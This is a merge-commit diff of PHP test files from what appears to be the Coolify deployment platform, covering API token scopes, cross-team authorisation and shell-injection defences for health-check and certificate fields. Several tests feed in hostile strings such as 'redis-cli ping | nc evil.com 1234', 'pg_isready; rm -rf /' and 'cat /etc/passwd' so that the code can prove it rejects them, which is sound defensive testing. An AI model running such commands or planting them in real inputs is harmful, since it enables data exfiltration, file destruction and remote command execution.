Merge remote-tracking branch 'origin/next' into fix/rollback-uses-correct-commit

This commit is contained in:
Andras Bacsai committed 2026-02-27 23:24:08 +01:00
commit 530037c213
53 files changed
+1788 -298

No files matched your search

+75
View File
@@ -0,0 +1,75 @@
<?php
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
session(['currentTeam' => $this->team]);
});
describe('POST /api/v1/projects', function () {
test('read-only token cannot create a project', function () {
$token = $this->user->createToken('read-only', ['read']);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$token->plainTextToken,
'Content-Type' => 'application/json',
])->postJson('/api/v1/projects', [
'name' => 'Test Project',
]);
$response->assertStatus(403);
});
test('write token can create a project', function () {
$token = $this->user->createToken('write-token', ['write']);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$token->plainTextToken,
'Content-Type' => 'application/json',
])->postJson('/api/v1/projects', [
'name' => 'Test Project',
]);
$response->assertStatus(201);
$response->assertJsonStructure(['uuid']);
});
test('root token can create a project', function () {
$token = $this->user->createToken('root-token', ['root']);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$token->plainTextToken,
'Content-Type' => 'application/json',
])->postJson('/api/v1/projects', [
'name' => 'Test Project',
]);
$response->assertStatus(201);
$response->assertJsonStructure(['uuid']);
});
});
describe('POST /api/v1/servers', function () {
test('read-only token cannot create a server', function () {
$token = $this->user->createToken('read-only', ['read']);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$token->plainTextToken,
'Content-Type' => 'application/json',
])->postJson('/api/v1/servers', [
'name' => 'Test Server',
'ip' => '1.2.3.4',
'private_key_uuid' => 'fake-uuid',
]);
$response->assertStatus(403);
});
});
@@ -0,0 +1,120 @@
<?php
use App\Models\Application;
use App\Models\Environment;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Visus\Cuid2\Cuid2;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
session(['currentTeam' => $this->team]);
$this->token = $this->user->createToken('test-token', ['*']);
$this->bearerToken = $this->token->plainTextToken;
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
StandaloneDocker::withoutEvents(function () {
$this->destination = StandaloneDocker::firstOrCreate(
['server_id' => $this->server->id, 'network' => 'coolify'],
['uuid' => (string) new Cuid2, 'name' => 'test-docker']
);
});
$this->project = Project::create([
'uuid' => (string) new Cuid2,
'name' => 'test-project',
'team_id' => $this->team->id,
]);
// Project boot event auto-creates a 'production' environment
$this->environment = $this->project->environments()->first();
$this->application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
});
function healthCheckAuthHeaders($bearerToken): array
{
return [
'Authorization' => 'Bearer '.$bearerToken,
'Content-Type' => 'application/json',
];
}
describe('PATCH /api/v1/applications/{uuid} health check fields', function () {
test('can update health_check_type to cmd with a command', function () {
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$this->application->uuid}", [
'health_check_type' => 'cmd',
'health_check_command' => 'pg_isready -U postgres',
]);
$response->assertOk();
$this->application->refresh();
expect($this->application->health_check_type)->toBe('cmd');
expect($this->application->health_check_command)->toBe('pg_isready -U postgres');
});
test('can update health_check_type back to http', function () {
$this->application->update([
'health_check_type' => 'cmd',
'health_check_command' => 'redis-cli ping',
]);
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$this->application->uuid}", [
'health_check_type' => 'http',
'health_check_command' => null,
]);
$response->assertOk();
$this->application->refresh();
expect($this->application->health_check_type)->toBe('http');
expect($this->application->health_check_command)->toBeNull();
});
test('rejects invalid health_check_type', function () {
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$this->application->uuid}", [
'health_check_type' => 'exec',
]);
$response->assertStatus(422);
});
test('rejects health_check_command with shell operators', function () {
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$this->application->uuid}", [
'health_check_type' => 'cmd',
'health_check_command' => 'pg_isready; rm -rf /',
]);
$response->assertStatus(422);
});
test('rejects health_check_command over 1000 characters', function () {
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$this->application->uuid}", [
'health_check_type' => 'cmd',
'health_check_command' => str_repeat('a', 1001),
]);
$response->assertStatus(422);
});
});
@@ -0,0 +1,93 @@
<?php
use App\Livewire\Server\CaCertificate\Show;
use App\Models\Server;
use App\Models\SslCertificate;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Livewire;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->user = User::factory()->create();
$this->team = Team::factory()->create();
$this->user->teams()->attach($this->team, ['role' => 'owner']);
$this->actingAs($this->user);
session(['currentTeam' => $this->team]);
$this->server = Server::factory()->create([
'team_id' => $this->team->id,
]);
});
function generateSelfSignedCert(): string
{
$key = openssl_pkey_new(['private_key_bits' => 2048]);
$csr = openssl_csr_new(['CN' => 'Test CA'], $key);
$cert = openssl_csr_sign($csr, null, $key, 365);
openssl_x509_export($cert, $certPem);
return $certPem;
}
test('saveCaCertificate sanitizes injected commands after certificate marker', function () {
$validCert = generateSelfSignedCert();
$caCert = SslCertificate::create([
'server_id' => $this->server->id,
'is_ca_certificate' => true,
'ssl_certificate' => $validCert,
'ssl_private_key' => 'test-key',
'common_name' => 'Coolify CA Certificate',
'valid_until' => now()->addYears(10),
]);
// Inject shell command after valid certificate
$maliciousContent = $validCert."' ; id > /tmp/pwned ; echo '";
Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])
->set('certificateContent', $maliciousContent)
->call('saveCaCertificate')
->assertDispatched('success');
// After save, the certificate should be the clean re-exported PEM, not the malicious input
$caCert->refresh();
expect($caCert->ssl_certificate)->not->toContain('/tmp/pwned');
expect($caCert->ssl_certificate)->not->toContain('; id');
expect($caCert->ssl_certificate)->toContain('-----BEGIN CERTIFICATE-----');
expect($caCert->ssl_certificate)->toEndWith("-----END CERTIFICATE-----\n");
});
test('saveCaCertificate rejects completely invalid certificate', function () {
SslCertificate::create([
'server_id' => $this->server->id,
'is_ca_certificate' => true,
'ssl_certificate' => 'placeholder',
'ssl_private_key' => 'test-key',
'common_name' => 'Coolify CA Certificate',
'valid_until' => now()->addYears(10),
]);
Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])
->set('certificateContent', "not-a-cert'; rm -rf /; echo '")
->call('saveCaCertificate')
->assertDispatched('error');
});
test('saveCaCertificate rejects empty certificate content', function () {
SslCertificate::create([
'server_id' => $this->server->id,
'is_ca_certificate' => true,
'ssl_certificate' => 'placeholder',
'ssl_private_key' => 'test-key',
'common_name' => 'Coolify CA Certificate',
'valid_until' => now()->addYears(10),
]);
Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])
->set('certificateContent', '')
->call('saveCaCertificate')
->assertDispatched('error');
});
@@ -0,0 +1,90 @@
<?php
use Illuminate\Support\Facades\Validator;
$commandRules = ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'];
it('rejects healthCheckCommand over 1000 characters', function () use ($commandRules) {
$validator = Validator::make(
['healthCheckCommand' => str_repeat('a', 1001)],
['healthCheckCommand' => $commandRules]
);
expect($validator->fails())->toBeTrue();
});
it('accepts healthCheckCommand under 1000 characters', function () use ($commandRules) {
$validator = Validator::make(
['healthCheckCommand' => 'pg_isready -U postgres'],
['healthCheckCommand' => $commandRules]
);
expect($validator->fails())->toBeFalse();
});
it('accepts null healthCheckCommand', function () use ($commandRules) {
$validator = Validator::make(
['healthCheckCommand' => null],
['healthCheckCommand' => $commandRules]
);
expect($validator->fails())->toBeFalse();
});
it('accepts simple commands', function ($command) use ($commandRules) {
$validator = Validator::make(
['healthCheckCommand' => $command],
['healthCheckCommand' => $commandRules]
);
expect($validator->fails())->toBeFalse();
})->with([
'pg_isready -U postgres',
'redis-cli ping',
'curl -f http://localhost:8080/health',
'wget -q -O- http://localhost/health',
'mysqladmin ping -h 127.0.0.1',
]);
it('rejects commands with shell operators', function ($command) use ($commandRules) {
$validator = Validator::make(
['healthCheckCommand' => $command],
['healthCheckCommand' => $commandRules]
);
expect($validator->fails())->toBeTrue();
})->with([
'pg_isready; rm -rf /',
'redis-cli ping | nc evil.com 1234',
'curl http://localhost && curl http://evil.com',
'echo $(whoami)',
'cat /etc/passwd > /tmp/out',
'curl `whoami`.evil.com',
'cmd & background',
'echo "hello"',
"echo 'hello'",
'test < /etc/passwd',
'bash -c {echo,pwned}',
'curl http://evil.com#comment',
'echo $HOME',
"cmd\twith\ttabs",
"cmd\nwith\nnewlines",
]);
it('rejects invalid healthCheckType', function () {
$validator = Validator::make(
['healthCheckType' => 'exec'],
['healthCheckType' => 'string|in:http,cmd']
);
expect($validator->fails())->toBeTrue();
});
it('accepts valid healthCheckType values', function ($type) {
$validator = Validator::make(
['healthCheckType' => $type],
['healthCheckType' => 'string|in:http,cmd']
);
expect($validator->fails())->toBeFalse();
})->with(['http', 'cmd']);
+80
View File
@@ -0,0 +1,80 @@
<?php
use App\Models\Application;
use App\Models\Environment;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
$this->token = $this->user->createToken('test-token', ['*'], $this->team->id);
$this->bearerToken = $this->token->plainTextToken;
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
$this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]);
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
});
function authHeaders(): array
{
return [
'Authorization' => 'Bearer '.test()->bearerToken,
];
}
test('returns domains for own team application via uuid query param', function () {
$application = Application::factory()->create([
'fqdn' => 'https://my-app.example.com',
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
$response = $this->withHeaders(authHeaders())
->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid={$application->uuid}");
$response->assertOk();
$response->assertJsonFragment(['my-app.example.com']);
});
test('returns 404 when application uuid belongs to another team', function () {
$otherTeam = Team::factory()->create();
$otherUser = User::factory()->create();
$otherTeam->members()->attach($otherUser->id, ['role' => 'owner']);
$otherServer = Server::factory()->create(['team_id' => $otherTeam->id]);
$otherDestination = StandaloneDocker::factory()->create(['server_id' => $otherServer->id]);
$otherProject = Project::factory()->create(['team_id' => $otherTeam->id]);
$otherEnvironment = Environment::factory()->create(['project_id' => $otherProject->id]);
$otherApplication = Application::factory()->create([
'fqdn' => 'https://secret-app.internal.company.com',
'environment_id' => $otherEnvironment->id,
'destination_id' => $otherDestination->id,
'destination_type' => $otherDestination->getMorphClass(),
]);
$response = $this->withHeaders(authHeaders())
->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid={$otherApplication->uuid}");
$response->assertNotFound();
$response->assertJson(['message' => 'Application not found.']);
});
test('returns 404 for nonexistent application uuid', function () {
$response = $this->withHeaders(authHeaders())
->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid=nonexistent-uuid");
$response->assertNotFound();
$response->assertJson(['message' => 'Application not found.']);
});
@@ -0,0 +1,85 @@
<?php
use App\Livewire\Project\Shared\ResourceOperations;
use App\Models\Application;
use App\Models\Environment;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\Team;
use App\Models\User;
use Livewire\Livewire;
beforeEach(function () {
// Team A (attacker's team)
$this->userA = User::factory()->create();
$this->teamA = Team::factory()->create();
$this->userA->teams()->attach($this->teamA, ['role' => 'owner']);
$this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]);
$this->destinationA = StandaloneDocker::factory()->create(['server_id' => $this->serverA->id]);
$this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
$this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]);
$this->applicationA = Application::factory()->create([
'environment_id' => $this->environmentA->id,
'destination_id' => $this->destinationA->id,
'destination_type' => $this->destinationA->getMorphClass(),
]);
// Team B (victim's team)
$this->teamB = Team::factory()->create();
$this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]);
$this->destinationB = StandaloneDocker::factory()->create(['server_id' => $this->serverB->id]);
$this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]);
$this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]);
$this->actingAs($this->userA);
session(['currentTeam' => $this->teamA]);
});
test('cloneTo rejects destination belonging to another team', function () {
Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
->call('cloneTo', $this->destinationB->id)
->assertHasErrors('destination_id');
// Ensure no cross-tenant application was created
expect(Application::where('destination_id', $this->destinationB->id)->exists())->toBeFalse();
});
test('cloneTo allows destination belonging to own team', function () {
$secondDestination = StandaloneDocker::factory()->create(['server_id' => $this->serverA->id]);
Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
->call('cloneTo', $secondDestination->id)
->assertHasNoErrors('destination_id')
->assertRedirect();
});
test('moveTo rejects environment belonging to another team', function () {
Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
->call('moveTo', $this->environmentB->id);
// Resource should still be in original environment
$this->applicationA->refresh();
expect($this->applicationA->environment_id)->toBe($this->environmentA->id);
});
test('moveTo allows environment belonging to own team', function () {
$secondEnvironment = Environment::factory()->create(['project_id' => $this->projectA->id]);
Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
->call('moveTo', $secondEnvironment->id)
->assertRedirect();
$this->applicationA->refresh();
expect($this->applicationA->environment_id)->toBe($secondEnvironment->id);
});
test('StandaloneDockerPolicy denies update for cross-team user', function () {
expect($this->userA->can('update', $this->destinationB))->toBeFalse();
});
test('StandaloneDockerPolicy allows update for same-team user', function () {
expect($this->userA->can('update', $this->destinationA))->toBeTrue();
});
@@ -0,0 +1,49 @@
<?php
use App\Jobs\ScheduledJobManager;
use Illuminate\Support\Facades\Redis;
it('clears stale lock when TTL is -1', function () {
$cachePrefix = config('cache.prefix');
$lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager';
$redis = Redis::connection('default');
$redis->set($lockKey, 'stale-owner');
expect($redis->ttl($lockKey))->toBe(-1);
$job = new ScheduledJobManager;
$job->middleware();
expect($redis->exists($lockKey))->toBe(0);
});
it('preserves valid lock with positive TTL', function () {
$cachePrefix = config('cache.prefix');
$lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager';
$redis = Redis::connection('default');
$redis->set($lockKey, 'active-owner');
$redis->expire($lockKey, 60);
expect($redis->ttl($lockKey))->toBeGreaterThan(0);
$job = new ScheduledJobManager;
$job->middleware();
expect($redis->exists($lockKey))->toBe(1);
$redis->del($lockKey);
});
it('does not fail when no lock exists', function () {
$cachePrefix = config('cache.prefix');
$lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager';
Redis::connection('default')->del($lockKey);
$job = new ScheduledJobManager;
$middleware = $job->middleware();
expect($middleware)->toBeArray()->toHaveCount(1);
});
@@ -0,0 +1,35 @@
<?php
it('passes a simple command through correctly', function () {
$result = executeInDocker('test-container', 'ls -la /app');
expect($result)->toBe("docker exec test-container bash -c 'ls -la /app'");
});
it('escapes single quotes in command', function () {
$result = executeInDocker('test-container', "echo 'hello world'");
expect($result)->toBe("docker exec test-container bash -c 'echo '\\''hello world'\\'''");
});
it('prevents command injection via single quote breakout', function () {
$malicious = "cd /dir && docker compose build'; id; #";
$result = executeInDocker('test-container', $malicious);
// The single quote in the malicious command should be escaped so it cannot break out of bash -c
// The raw unescaped pattern "build'; id;" must not appear — the quote must be escaped
expect($result)->not->toContain("build'; id;");
expect($result)->toBe("docker exec test-container bash -c 'cd /dir && docker compose build'\\''; id; #'");
});
it('handles empty command', function () {
$result = executeInDocker('test-container', '');
expect($result)->toBe("docker exec test-container bash -c ''");
});
it('handles command with multiple single quotes', function () {
$result = executeInDocker('test-container', "echo 'a' && echo 'b'");
expect($result)->toBe("docker exec test-container bash -c 'echo '\\''a'\\'' && echo '\\''b'\\'''");
});
@@ -0,0 +1,270 @@
<?php
use App\Jobs\ApplicationDeploymentJob;
use App\Models\Application;
use App\Models\ApplicationDeploymentQueue;
use App\Models\ApplicationSetting;
use Illuminate\Support\Facades\Validator;
use Mockery;
beforeEach(function () {
Mockery::close();
});
afterEach(function () {
Mockery::close();
});
it('sanitizes health_check_host to prevent command injection', function () {
$result = callGenerateHealthcheckCommands([
'health_check_host' => 'localhost; id > /tmp/pwned #',
]);
// Should fall back to 'localhost' because input contains shell metacharacters
expect($result)->not->toContain('; id')
->and($result)->not->toContain('/tmp/pwned')
->and($result)->toContain('localhost');
});
it('sanitizes health_check_method to prevent command injection', function () {
$result = callGenerateHealthcheckCommands([
'health_check_method' => 'GET; curl http://evil.com #',
]);
expect($result)->not->toContain('evil.com')
->and($result)->not->toContain('; curl');
});
it('sanitizes health_check_path to prevent command injection', function () {
$result = callGenerateHealthcheckCommands([
'health_check_path' => '/health; rm -rf / #',
]);
expect($result)->not->toContain('rm -rf')
->and($result)->not->toContain('; rm');
});
it('sanitizes health_check_scheme to prevent command injection', function () {
$result = callGenerateHealthcheckCommands([
'health_check_scheme' => 'http; cat /etc/passwd #',
]);
expect($result)->not->toContain('/etc/passwd')
->and($result)->not->toContain('; cat');
});
it('casts health_check_port to integer to prevent injection', function () {
$result = callGenerateHealthcheckCommands([
'health_check_port' => '8080; whoami',
]);
// (int) cast on non-numeric after digits yields 8080
expect($result)->not->toContain('whoami')
->and($result)->toContain('8080');
});
it('generates valid healthcheck command with safe inputs', function () {
$result = callGenerateHealthcheckCommands([
'health_check_method' => 'GET',
'health_check_scheme' => 'http',
'health_check_host' => 'localhost',
'health_check_port' => '8080',
'health_check_path' => '/health',
]);
expect($result)->toContain('curl -s -X')
->and($result)->toContain('http://localhost:8080/health')
->and($result)->toContain('wget -q -O-');
});
it('uses escapeshellarg on the constructed URL', function () {
$result = callGenerateHealthcheckCommands([
'health_check_host' => 'my-app.local',
'health_check_path' => '/api/health',
]);
// escapeshellarg wraps in single quotes
expect($result)->toContain("'http://my-app.local:80/api/health'");
});
it('validates health_check_host rejects shell metacharacters via API rules', function () {
$rules = sharedDataApplications();
$validator = Validator::make(
['health_check_host' => 'localhost; id #'],
['health_check_host' => $rules['health_check_host']]
);
expect($validator->fails())->toBeTrue();
});
it('validates health_check_method rejects invalid methods via API rules', function () {
$rules = sharedDataApplications();
$validator = Validator::make(
['health_check_method' => 'GET; curl evil.com'],
['health_check_method' => $rules['health_check_method']]
);
expect($validator->fails())->toBeTrue();
});
it('validates health_check_scheme rejects invalid schemes via API rules', function () {
$rules = sharedDataApplications();
$validator = Validator::make(
['health_check_scheme' => 'http; whoami'],
['health_check_scheme' => $rules['health_check_scheme']]
);
expect($validator->fails())->toBeTrue();
});
it('validates health_check_path rejects shell metacharacters via API rules', function () {
$rules = sharedDataApplications();
$validator = Validator::make(
['health_check_path' => '/health; rm -rf /'],
['health_check_path' => $rules['health_check_path']]
);
expect($validator->fails())->toBeTrue();
});
it('validates health_check_port rejects non-numeric values via API rules', function () {
$rules = sharedDataApplications();
$validator = Validator::make(
['health_check_port' => '8080; whoami'],
['health_check_port' => $rules['health_check_port']]
);
expect($validator->fails())->toBeTrue();
});
it('allows valid health check values via API rules', function () {
$rules = sharedDataApplications();
$validator = Validator::make(
[
'health_check_host' => 'my-app.localhost',
'health_check_method' => 'GET',
'health_check_scheme' => 'https',
'health_check_path' => '/api/v1/health',
'health_check_port' => 8080,
],
[
'health_check_host' => $rules['health_check_host'],
'health_check_method' => $rules['health_check_method'],
'health_check_scheme' => $rules['health_check_scheme'],
'health_check_path' => $rules['health_check_path'],
'health_check_port' => $rules['health_check_port'],
]
);
expect($validator->fails())->toBeFalse();
});
it('generates CMD healthcheck command directly', function () {
$result = callGenerateHealthcheckCommands([
'health_check_type' => 'cmd',
'health_check_command' => 'pg_isready -U postgres',
]);
expect($result)->toBe('pg_isready -U postgres');
});
it('strips newlines from CMD healthcheck command', function () {
$result = callGenerateHealthcheckCommands([
'health_check_type' => 'cmd',
'health_check_command' => "redis-cli ping\n&& echo pwned",
]);
expect($result)->not->toContain("\n")
->and($result)->toBe('redis-cli ping && echo pwned');
});
it('falls back to HTTP healthcheck when CMD type has empty command', function () {
$result = callGenerateHealthcheckCommands([
'health_check_type' => 'cmd',
'health_check_command' => '',
]);
// Should fall through to HTTP path
expect($result)->toContain('curl -s -X');
});
it('validates healthCheckCommand rejects strings over 1000 characters', function () {
$rules = [
'healthCheckCommand' => 'nullable|string|max:1000',
];
$validator = Validator::make(
['healthCheckCommand' => str_repeat('a', 1001)],
$rules
);
expect($validator->fails())->toBeTrue();
});
it('validates healthCheckCommand accepts strings under 1000 characters', function () {
$rules = [
'healthCheckCommand' => 'nullable|string|max:1000',
];
$validator = Validator::make(
['healthCheckCommand' => 'pg_isready -U postgres'],
$rules
);
expect($validator->fails())->toBeFalse();
});
/**
* Helper: Invokes the private generate_healthcheck_commands() method via reflection.
*/
function callGenerateHealthcheckCommands(array $overrides = []): string
{
$defaults = [
'health_check_type' => 'http',
'health_check_command' => null,
'health_check_method' => 'GET',
'health_check_scheme' => 'http',
'health_check_host' => 'localhost',
'health_check_port' => null,
'health_check_path' => '/',
'ports_exposes' => '80',
];
$values = array_merge($defaults, $overrides);
$application = Mockery::mock(Application::class)->makePartial();
$application->shouldReceive('getAttribute')->with('health_check_type')->andReturn($values['health_check_type']);
$application->shouldReceive('getAttribute')->with('health_check_command')->andReturn($values['health_check_command']);
$application->shouldReceive('getAttribute')->with('health_check_method')->andReturn($values['health_check_method']);
$application->shouldReceive('getAttribute')->with('health_check_scheme')->andReturn($values['health_check_scheme']);
$application->shouldReceive('getAttribute')->with('health_check_host')->andReturn($values['health_check_host']);
$application->shouldReceive('getAttribute')->with('health_check_port')->andReturn($values['health_check_port']);
$application->shouldReceive('getAttribute')->with('health_check_path')->andReturn($values['health_check_path']);
$application->shouldReceive('getAttribute')->with('ports_exposes_array')->andReturn(explode(',', $values['ports_exposes']));
$application->shouldReceive('getAttribute')->with('build_pack')->andReturn('nixpacks');
$settings = Mockery::mock(ApplicationSetting::class)->makePartial();
$settings->shouldReceive('getAttribute')->with('is_static')->andReturn(false);
$application->shouldReceive('getAttribute')->with('settings')->andReturn($settings);
$deploymentQueue = Mockery::mock(ApplicationDeploymentQueue::class)->makePartial();
$job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
$reflection = new ReflectionClass($job);
$appProp = $reflection->getProperty('application');
$appProp->setAccessible(true);
$appProp->setValue($job, $application);
$method = $reflection->getMethod('generate_healthcheck_commands');
$method->setAccessible(true);
return $method->invoke($job);
}
+227
View File
@@ -0,0 +1,227 @@
<?php
use App\Models\User;
use App\Policies\GithubAppPolicy;
it('allows any user to view any github apps', function () {
$user = Mockery::mock(User::class)->makePartial();
$policy = new GithubAppPolicy;
expect($policy->viewAny($user))->toBeTrue();
});
it('allows any user to view system-wide github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$model = new class
{
public $team_id = 1;
public $is_system_wide = true;
};
$policy = new GithubAppPolicy;
expect($policy->view($user, $model))->toBeTrue();
});
it('allows team member to view non-system-wide github app', function () {
$teams = collect([
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$model = new class
{
public $team_id = 1;
public $is_system_wide = false;
};
$policy = new GithubAppPolicy;
expect($policy->view($user, $model))->toBeTrue();
});
it('denies non-team member to view non-system-wide github app', function () {
$teams = collect([
(object) ['id' => 2, 'pivot' => (object) ['role' => 'member']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$model = new class
{
public $team_id = 1;
public $is_system_wide = false;
};
$policy = new GithubAppPolicy;
expect($policy->view($user, $model))->toBeFalse();
});
it('allows admin to create github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdmin')->andReturn(true);
$policy = new GithubAppPolicy;
expect($policy->create($user))->toBeTrue();
});
it('denies non-admin to create github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdmin')->andReturn(false);
$policy = new GithubAppPolicy;
expect($policy->create($user))->toBeFalse();
});
it('allows user with system access to update system-wide github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('canAccessSystemResources')->andReturn(true);
$model = new class
{
public $team_id = 1;
public $is_system_wide = true;
};
$policy = new GithubAppPolicy;
expect($policy->update($user, $model))->toBeTrue();
});
it('denies user without system access to update system-wide github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('canAccessSystemResources')->andReturn(false);
$model = new class
{
public $team_id = 1;
public $is_system_wide = true;
};
$policy = new GithubAppPolicy;
expect($policy->update($user, $model))->toBeFalse();
});
it('allows team admin to update non-system-wide github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
$model = new class
{
public $team_id = 1;
public $is_system_wide = false;
};
$policy = new GithubAppPolicy;
expect($policy->update($user, $model))->toBeTrue();
});
it('denies team member to update non-system-wide github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
$model = new class
{
public $team_id = 1;
public $is_system_wide = false;
};
$policy = new GithubAppPolicy;
expect($policy->update($user, $model))->toBeFalse();
});
it('allows user with system access to delete system-wide github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('canAccessSystemResources')->andReturn(true);
$model = new class
{
public $team_id = 1;
public $is_system_wide = true;
};
$policy = new GithubAppPolicy;
expect($policy->delete($user, $model))->toBeTrue();
});
it('denies user without system access to delete system-wide github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('canAccessSystemResources')->andReturn(false);
$model = new class
{
public $team_id = 1;
public $is_system_wide = true;
};
$policy = new GithubAppPolicy;
expect($policy->delete($user, $model))->toBeFalse();
});
it('allows team admin to delete non-system-wide github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
$model = new class
{
public $team_id = 1;
public $is_system_wide = false;
};
$policy = new GithubAppPolicy;
expect($policy->delete($user, $model))->toBeTrue();
});
it('denies team member to delete non-system-wide github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
$model = new class
{
public $team_id = 1;
public $is_system_wide = false;
};
$policy = new GithubAppPolicy;
expect($policy->delete($user, $model))->toBeFalse();
});
it('denies restore of github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$model = new class
{
public $team_id = 1;
public $is_system_wide = false;
};
$policy = new GithubAppPolicy;
expect($policy->restore($user, $model))->toBeFalse();
});
it('denies force delete of github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$model = new class
{
public $team_id = 1;
public $is_system_wide = false;
};
$policy = new GithubAppPolicy;
expect($policy->forceDelete($user, $model))->toBeFalse();
});
@@ -0,0 +1,163 @@
<?php
use App\Models\User;
use App\Policies\SharedEnvironmentVariablePolicy;
it('allows any user to view any shared environment variables', function () {
$user = Mockery::mock(User::class)->makePartial();
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->viewAny($user))->toBeTrue();
});
it('allows team member to view their team shared environment variable', function () {
$teams = collect([
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$model = new class
{
public $team_id = 1;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->view($user, $model))->toBeTrue();
});
it('denies non-team member to view shared environment variable', function () {
$teams = collect([
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$model = new class
{
public $team_id = 2;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->view($user, $model))->toBeFalse();
});
it('allows admin to create shared environment variable', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdmin')->andReturn(true);
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->create($user))->toBeTrue();
});
it('denies non-admin to create shared environment variable', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdmin')->andReturn(false);
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->create($user))->toBeFalse();
});
it('allows team admin to update shared environment variable', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
$model = new class
{
public $team_id = 1;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->update($user, $model))->toBeTrue();
});
it('denies team member to update shared environment variable', function () {
$user = Mockery::mock(User::class)->makePartial();
